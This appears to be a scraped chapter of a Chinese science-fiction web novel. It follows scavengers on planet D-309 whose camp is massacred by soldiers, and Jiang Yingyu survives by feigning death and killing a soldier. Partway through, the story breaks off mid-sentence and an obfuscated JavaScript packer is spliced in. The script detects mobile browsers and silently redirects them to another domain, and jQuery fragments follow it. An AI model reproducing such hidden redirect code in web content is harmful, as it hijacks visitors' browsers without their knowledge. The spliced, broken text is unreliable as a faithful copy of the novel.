就在魏循章即将陷入梦乡的时候，一阵规律重复的电话提示音从智网终端中传来，驱走了魏循章好不容易酝酿出来的睡意。
她慢悠悠打了个哈欠，不情不愿地伸出手接通来电。这款私人专用的智网终端经由她亲手设计打造，根本没有连入大数据智网系统，能通过它联系上她的人只有一个。
算算时间，的确也到了她们定期联络的时候了。
通讯连通后，另一头的人率先开口，语气是一如既往的平静：“如果我没记错的话，现在你应该已经回到了万……咳，D-309星了。”
魏循章揉了揉惺忪的眼，勉强恢复了些清明，闻言也只懒懒应了一声，显得有些敷衍。
那人似是早已习惯了她这副态度，继续往下说：“从首都星出发本不该这么晚才到，所以你果然还是碰上了什么意外吧，魏循章？”
季临很少这样连名带姓地叫魏循章的名字，如果她这样叫了，那一定是自己又惹她不高兴了。
“一点小意外，早就解决了。”魏循章在床上翻了个身，想赶紧结束这个话题。
季临却没这么容易被蒙混过去：“别以为我远在联邦就不清楚内情，第一军团的军舰被无主之地杀手归零袭击的事在昨天就登上了头条。”
魏循章心虚地不吭声了。
而季临并不打算这么快就放过她，继续数落着：“新闻上说这一战打得极其激烈，损失也极其惨重，一颗小行星直接在炮火下化为了黑洞，要不是那颗行星根本不适宜人类居住，单凭你滥杀无辜这一条就很难再——。”
魏循章连忙捂着耳朵打断她：“好啦好啦，我知道啦！我心里有数，目前发生的一切仍在计划之中，求你别操这个心了。”
似乎是这番明显的拒绝态度终于起了效，季临的声音停了下来。
再开口时，还有几分委屈：“……我早就劝过你，近来无主之地动荡不断，为了你的安全着想，我们完全可以选择推迟计划，等到局势安定下来再去绑架贺平淮。”
经过方才这么一闹腾，魏循章人也清醒了不少，敏锐地捕捉到季临话中的漏洞，立马反驳：“绑架他的人可不是我，我怎么会坏到这种程度？”
饶是与魏循章一同长大的季临也不得不为她的无赖所折服，默了片刻，才再继续说：“那可真是太巧了，你前不久刚提到想回万……咳，D-309星把日记取回来，紧接着上司的弟弟就被绑架了，更凑巧的是，他逃出来时乘坐的那艘救生艇的燃油竟然只能供他开到D-309星附近，而你的上司为了维系家族门楣便理所当然地派遣最得力的下属来搜寻自己的亲弟弟，这样一来，身为副官的你不仅可以拿回自己的日记本，还能精准地找到贺平淮的下落完成任务，简直是一举两得。”
“唯一出乎你预料的是，那个本该因为没有防毒面具而死在万……咳，D-309星的贺平淮竟然活了下来，真是太可惜了。”
魏循章重重点头，深以为然：“他可真是命大。”
不过，区区一个贺平淮还远不足以对她的计划造成什么影响，虽然结果有些偏离原定的设想，但短时间内她不会对他再下手了。
比起一个alpha小少爷，值得她操心的事实在太多太多，就比如——
或许是被日记中的内容勾起了对往事的怀念，魏循章罕见地提起了一个名字：
“说起来，谢辜年是不是还在新世界陪莫鸿秋做她的春秋大梦？”
通讯另一头的季临不禁愣住了。
谢辜年，季临，魏循章三人，都是在万里寒长大也有幸在那场浩劫中存活下来的孩子。
谢辜年是她们当中年纪最小,也最心高气傲的那个。她与同样心高气傲且目中无人的魏循章简直八字不合，两人一言不合就会吵起来，谁都劝不住。
在帝国将万里寒更名为D-309星的两年后，凑巧让魏循章碰上了濒死的谢辜年，季临本以为魏循章会冷血地见死不救，也以为谢辜年宁死都不愿向魏循章求助。
然而事情的发展远远超出了她的预料。
魏循章不仅主动出手挽救了谢辜年的性命，而谢辜年醒来后的第一件事竟然是恳求魏循章去救她的朋友。那是季临第一次看见谢辜年舍弃自己全部的骄傲与自尊，泣不成声地跪在地上祈求着，嘴里重复着同一个名字。她对魏循章说，只要你愿意救救她，不论开出什么样的条件，我都会满足你。
但魏循章毫不留情地拒绝了她，留下一句：“我救你是因为你我同为万里寒遗民，至于这个叶归宁的死活，跟我又有什么关系？”
自此以后，两人彻底分道扬镳，老死不相往来。
故而时隔多年再次听魏循章提起这个名字，季临难免有些诧异，愣了半晌才回答道：“没错，她似乎交到了……新的朋友。”
魏循章脸上浮现一抹冷笑：“与她一样天真愚蠢的莫鸿秋吗？真是好笑。”
新世界的新任领袖莫鸿秋妄想成为下一个如帝国三殿下一般的人物，但她既无天时地利更无人和，如今的新世界就像一块肥肉，联邦哪个家族不想啃上一口，魏循章实在想不明白此人到底是哪来的自信敢在这种时候接过三殿下的烂摊子。
“算了，不提这些。”魏循章也不知道自己为什么一提起谢辜年就能憋一肚子的气，“你还记得她以前提到的叶归宁吗？”
季临对这个名字的印象实在太过深刻，怎么可能忘记：“当然。”
魏循章犹豫了几秒，然后说：“这个人还活着。”她甚至亲眼见到了她。
*
魏循章离开后，江应余花了很长时间才从惊愕中回过神来。
她实在想不明白魏循章这一连串行为的背后究竟有什么意图，仿佛缺失了某个关键信息，让她看不清事件的全貌。
有太多的疑问堆积在一起：为什么魏循章只拿走了日记本，却把金苹果留了下来？为什么她选择向自己暴露身份？又是为什么语焉不详地劝自己“快逃”？
江应余懵懵懂懂地回到帐篷里躺下，表情仍有几分呆愣。
虽然心中已有不好的预感，但她不会选择逃跑。倒不是因为她舍不得D-309星，而是就算她想离开这里也没有办法。一无交通工具，二无生活物资，三无武器防身，她能逃到哪里去？
更何况，拾荒队里的人该怎么办？她该如何向他们解释并劝他们一起逃跑？
正在她苦恼的时候，帐篷外传来了莉莉可的声音，似乎是因为她没有像往常一样早起，莉莉可不免有些担心：
“江应余姐姐，你醒了吗？你……还好吗？”
听出了莉莉可声音里的小心翼翼，江应余连忙坐起身，拉开帐篷探出脑袋，挤出笑容，故作无事道：“我没事，今天只是想休息一下。”
莉莉可凑近了些许，关切地问：“果然还是生病了吗？需不需要我帮你做份早餐？”
江应余怎么好意思麻烦她，摆了摆手：“不用了不用了，我已经喝过营养液了，现在一点都不饿。”
莉莉可歪了歪脑袋，眼睛上下打量着江应余的表情，又说：“可是你看上去心情不是很好，让我多陪陪你吧，正好你上次教我的那些字我还认不全，你再多教我几遍吧。”
被这样一双碧绿的眸子注视着，江应余实在说不出拒绝的话。犹豫片刻后，她终是选择妥协，朝帐篷里面挪了挪，让出位置：“那好吧。”
莉莉可高兴地钻进来，新奇地四处观察着。一旁的江应余见她的头发仍是乱糟糟的，伸手试图帮她理顺，结果发现有许多处都缠作死结，根本分不开。
“改天让我来帮你洗头吧，顺便帮你剪一个合适的发型。”江应余思索一阵，问道：“你觉得短发怎么样？我记得首都星的beta们还挺流行剪短发的。”
莉莉可毫不犹豫地点头，眼里仿佛有星星在闪烁：“好哇，我也想和大城市的beta留一样的头发。”
“那就这么说定了。”江应余对自己的水平很有自信：“小时候我给妹妹也剪过头发，剪得可好了，她喜欢得不得了。”
不过那已经是很多年前的事了，小时候的江新越很喜欢黏着江应余，对江应余十分崇拜，可惜两人长大后却渐行渐远，很少联系了。
莉莉可没有察觉江应余眼中一闪而过的低落，下意识以为江应余与妹妹的关系不错：“那她现在一定很想念你吧。”
亲近的姐姐离开家乡来到D-309星这种偏远之地当拾荒者，换作是任何人都会心急如焚。
江应余勉强笑了一下，一时不知该作何种反应。她与江新越的事并不适合向旁人诉说，她们的问题只有她们自己清楚，也只有她们自己才能解决。
就在江应余打算转移话题，检查莉莉可最近学习成果的时候，营地外面突然变得嘈杂起来，先是听见不少人的咒骂声与慌乱的脚步声，紧接着便是几声枪响。
江应余与莉莉可都僵住了，在帐篷里面面相觑，她们都不知道外面发生了什么，也都不敢出去。
“江应余姐姐……”莉莉可害怕地拉住了江应余的衣袖，眼中满是惊惶，声音发颤：“是不是、第三军团的人开的枪？”
她听见有人在骂第三军团的人是骗子，用词极其粗俗，像江应余这种来自首都星的城里人根本听不懂那些话。
江应余回握住莉莉可的手，定了定神，努力平复着胸腔中砰砰作响的心跳，用最镇定地口吻对她说：“你待在这里不要动，我出去看看情况。”
末了，江应余想起了魏循章突然现身留下的那句告诫，不详的预感愈发浓烈。
她熄灭灯火，在临走时强调道：“不论听见什么都不要出来。”因为江应余的帐篷位置比较偏僻，也不太引人注意，只要保持安静在短时间内不会有什么问题。
听见莉莉可微弱的应答声，江应余才放心离开。
她快步朝声源处奔去，同时没忘将缝在衣服上的金苹果拆下来攥在手里。这是她目前唯一的自保手段。
走出扎营的房间穿过一条狭窄的隧道，江应余就被四处乱窜的人群撞了一个趔趄，一般而言清晨正是大家劳作的时候，防空洞里本不该出现这么多的人，他们此时正一窝蜂地朝相反的方向跑去，她想要随便抓住其中一个过来问问情况，不料被那人立马甩开，甚至还被骂了个听不懂的词。
虽然不能理解它背后的含义，但结合他的口吻与神态不难猜出这一定是句脏话。
看来眼下她没办法从旁人口中得到什么有用的信息了，只有继续向前走才能知道到底发生了什么。
江应余再次迈开步子，紧紧贴着隧道一侧，在狂奔的人群中向出口方向逆行。她隐隐在空气中闻到了一股血腥味，不由得拧紧了眉，心底的不安被无限放大。
而一只手从旁边突兀地伸出来，拽住了神经紧绷的江应余，动作粗暴得令她错以为自己是被哪个士兵给逮住了。
没想到抬头看见的人竟然会是彭姨。
彭姨看上去并不乐观，脸色苍白，嘴角残留一抹血痕，但表面上没什么明显的伤口，这让江应余略微松了口气。彭姨一只手紧紧扯住江应余的衣领，而另一只手提着一把老式步枪。
江应余认得这把枪，在她加入拾荒队之前就被彭毅带在身边了，据说因为型号太古老，加上缺乏保养，随时都会有炸膛的风险，实在卖不出去，于是彭姨只好将它留了下来，偶尔还能拿出来唬唬人。
“彭姨，到底发生什么事了？”江应余的声音干涩，其实这个问题的答案已经没那么重要了。
她一路上所看见的一切已经足以让她猜到点什么。
而彭姨也没有回答她的问题，更没有松开她的衣领，两眼猩红布满血丝，直直地看着江应余，急忙问道：“你怎么会在这里？莉莉可呢？”
江应余只好回答：“莉莉可还在帐篷里——”
话没说完便被打断，彭姨彻底失去了镇定，近乎怒吼般地冲她说：“那就带着她赶紧跑！还留在这里做什么，等死吗！”
说完，彭姨便扯着江应余往回走，步子迈得又快又急，江应余有好几次险些被绊倒。直到回到她的帐篷前，彭姨才终于停下来。
她松开了江应余的衣领，捂着胸口咳了几声，然后迅速拉开帐篷，以同样粗暴的方式将莉莉可扯了出来。
江应余看见莉莉可原本惊恐的脸色在看见彭姨后顿时消散，但还没等她开口说些什么，彭姨便附在她耳边迅速交代了几句话。
江应余站在几步开外，听不见彭姨具体说了什么内容，只看见莉莉可的脸色瞬间白了下来，以及彭姨塞给她的一把匕首。
做完这一切后，彭姨无声地回过头看了江应余一眼，动了动唇，等了半晌却连一句话也没说出口，就这么沉默地离开了。
莉莉可走近几步，红了眼眶，将彭姨给她的匕首紧紧握在手里：“江应余姐姐，我们得赶紧离开了。彭姨说在这后面还有一个出口，趁士兵们还没发现那里，说不定能逃出去。”
江应余正失神地望着彭姨的背影，没听见莉莉可说的话，看着彭姨逐渐消失在视野尽头，江应余竟突然有种预感，这或许就是她与彭姨的最后一次见面。
“江应余姐姐？”莉莉可没等到回应，焦急地握住了她的手。
“抱歉。”江应余收回视线，语气变得有些沉重：“我们走吧。”
幸运的是，逃亡的一路上没有遇到太多阻碍，她们很顺利地抵达了另一出口，有不少人在她们之前就逃了出去，阶梯尽头的门还没被锁上，仿佛只要打开它就能获得自由。
江应余却一直皱着眉，总觉得事情没这么简单。先不说门后会不会有士兵埋伏，即使她们安全离开了防空洞，又该怎么逃出D-309星？如果无法成功逃离这颗星球，不论躲到哪里迟早也会被第三军团的人发现，甚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453335|169519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至很可能会因为缺乏食物而饿死。
彭姨不可能没意识到这一点，但她依然坚持让自己带着莉莉可离开，说不定有什么其他的计划。
江应余试图让自己放下心来，以防万一，她拿起试管，拧下封口的木塞，将金苹果倒入口中。吸取上次的经验，这一回她没有饮下太多。
考虑到金苹果的生效需要一定的时间，江应余扭过头，对跟在自己身后的莉莉可说：“莉莉可，先等一下，过会儿我们再一起——”
声音骤然止住，一股剧烈的疼痛突然从腹部传来，硬生生止住了江应余没说完的话。她难以置信地低头看去，一截泛着冷色的刀尖从背后刺穿腹部出现在眼前。
江应余简直两眼一黑。不知是因为极度震惊，还是什么别的原因，她感到身体的力量正在极速流失，困意不合时宜地侵占了她的大脑，她还想说点什么，却只能发出不明所以的呜咽声，而用不了多久，她连这点声音都发不出来了。
倒在地上失去意识的前一秒，江应余最后听见的是莉莉可的哭声。
可是莉莉可什么都没有说，连道歉都没有。
莉莉可蹲在地上哭了很久，眼睁睁看着江应余姐姐闭上眼陷入睡眠后，她才颤抖着身子站起来，手上沾满了从江应余体内流出的鲜血。
她惶然挪开视线，满怀愧疚地看向不省人事的江应余，以及她手里握着的金苹果。
虽然不知道这管金色的试剂是什么东西，但对于江应余姐姐而言应该很重要，以前从没见她拿出来过。
莉莉可将它从江应余手中抽出，打量片刻后，又将它塞进了江应余的口袋里。
*
江应余醒来的时候腹部的伤口疼痛不减，仍在流血，她朝周围看了一圈，发现身旁全是尸体，被人胡乱地摆放在一处。
她捂着伤口挣扎站起来，倒吸一口冷气，不间断的头疼与耳鸣提醒着她金苹果已经生效，这让她心中多少有了点底气。
四下一片漆黑寂静，与昏迷前的混乱景象截然不同，江应余强撑着身体走到每一具尸体旁，借助智网终端的亮光辨认其身份后便迅速挪向下一具，越看越是心惊，这里的尸体全都是她认识的拾荒者。
直到她看见了彭姨与莉莉可的尸体，她们二人倒在一处，莉莉可还紧紧攥着彭姨的手，两人身上都有枪伤，看来都是死于第三军团的围剿。
江应余不由得晃了下神，眼前一幕所带来的巨大冲击让她差点以为自己在做梦。
一天前的自己绝对想不到，不过短短一夜之间，她竟会失去所有的同伴。
江应余后知后觉地理解了彭姨的计划，在彭姨看来，由于第三军团并不知道她加入了拾荒队，所以她是这里唯一一个能够逃出去的人。
可是以beta的身手而言，想要在训练有素的alpha士兵手中逃出生天无异于痴心妄想，于是彭姨将经过特殊处理的匕首交给了莉莉可，要求莉莉可趁她不备将她刺伤以致昏迷，伪装成尸体。
这样一来，等第三军团的人将拾荒队清剿干净就会离开防空洞，而醒来的江应余才能利用这一空隙找机会逃出这里。
江应余叹了口气。这个计划实在太冒险了，不符合彭姨一贯的作风，但在那样紧迫的情况下，或许这就是彭姨所能想到的最好的办法。
可惜，彭姨不知道的是，她的运气向来不怎么样。
仿佛正是为了应证江应余心中所想，台阶尽头的那扇象征着出口的大门被人从外面打开。
一名士兵走了进来。
江应余与士兵四目相对，两人均是一愣。士兵没想到自己能如此走运，而江应余却是没料到自己真能如此倒霉，没有片刻犹豫，她立即举起双手表示投降。
士兵戴着防毒面具，看不清面容，只听他阴恻恻地笑了下，好整以暇地向前走了几步，绕着江应余转了一圈。
“我就说怎么多了一具尸体，果然是**（军队粗口）使了诈。”
他拿枪抵住江应余的后背，催促她往前走。等到他们来到一处空旷无人的雪地，士兵便踹了她一脚，冷声命令：“还不跪下！”
江应余没有反抗，由于目前尚不能确定有多少名士兵在附近徘徊，虽然她拥有精神力这一底牌，但以一对多并没有多少胜算。
她按捺住心底的屈辱，缓缓朝着士兵的方向弯曲膝盖。
士兵自上而下地俯视着她，眼神轻蔑：
“告诉我，beta，你效忠于谁？”
“是联邦、赵显、无主之地、还是新世界？”
冰冷的枪口抵在江应余额头前。
而她跪在雪地里，像个罪人一样。
每一次呼吸都在牵动之前的伤口，无止尽的疼痛却能强迫她保持清醒。
脑海中突然想起三殿下说过的话，“比起彻头彻尾的失败，我更害怕的是，自己在最开始连反抗的勇气都没有”。
是啊，反抗的勇气。
就在两天前，她敢于对alpha小少爷大打出手，那么现在，她又为何不敢为自己拼一把呢？
最坏的结果，也不过是死亡而已。反正她除了这条命，也没什么可失去的了。
“Beta，你最好不要挑战我的耐心，快说！”
士兵不耐地拿枪口推搡她的脑袋。
江应余险些翻倒在地。
她回正上半身，保持着象征着臣服的跪姿。
可无论是她的眼神，还是她的口吻，甚至是她挺直的脊背，都没有半点臣服的意思。
正如她此时此刻的回答一般——
“我只效忠于我自己。”
精神力所延伸出的触须在士兵身后躲藏已久，在话音落下的同时，像是收到了号令，猛然朝士兵突刺过去。
士兵无论如何也预料不到真正的威胁来自身后。
当他的直觉告诉他不对劲的时候，一切都为时已晚。
扑通。
士兵的头颅掉落在地，硕大的瞳孔里仍保持着死前的震惊。
双手无力下垂，身体在僵硬片刻后向前倒在了江应余的身侧。
就这么结束了。江应余吐出一口气，眼底满是荒凉。她想到了死去的拾荒者们，莉莉可，彭姨。
关于一条生命，关于一次拾荒之旅。
结束得实在有些突兀了。
不论对谁来说。
强忍副作用的江应余终于不力瘫倒下去。
鼻血乍然涌出，成了这荒凉雪地里唯一的亮色。
江应余疲惫地闭上眼。
匆匆忙忙地逃了这么久，却还是稀里糊涂地落得这么个一无所有的下场。杀死一名士兵可是重罪，就算她命大真能逃出D-309星，帝国已是再也不能回去了。
这次可是真正的无家可归了。
她想，不如就让她像这样死在这里吧。
她是真的有些累了。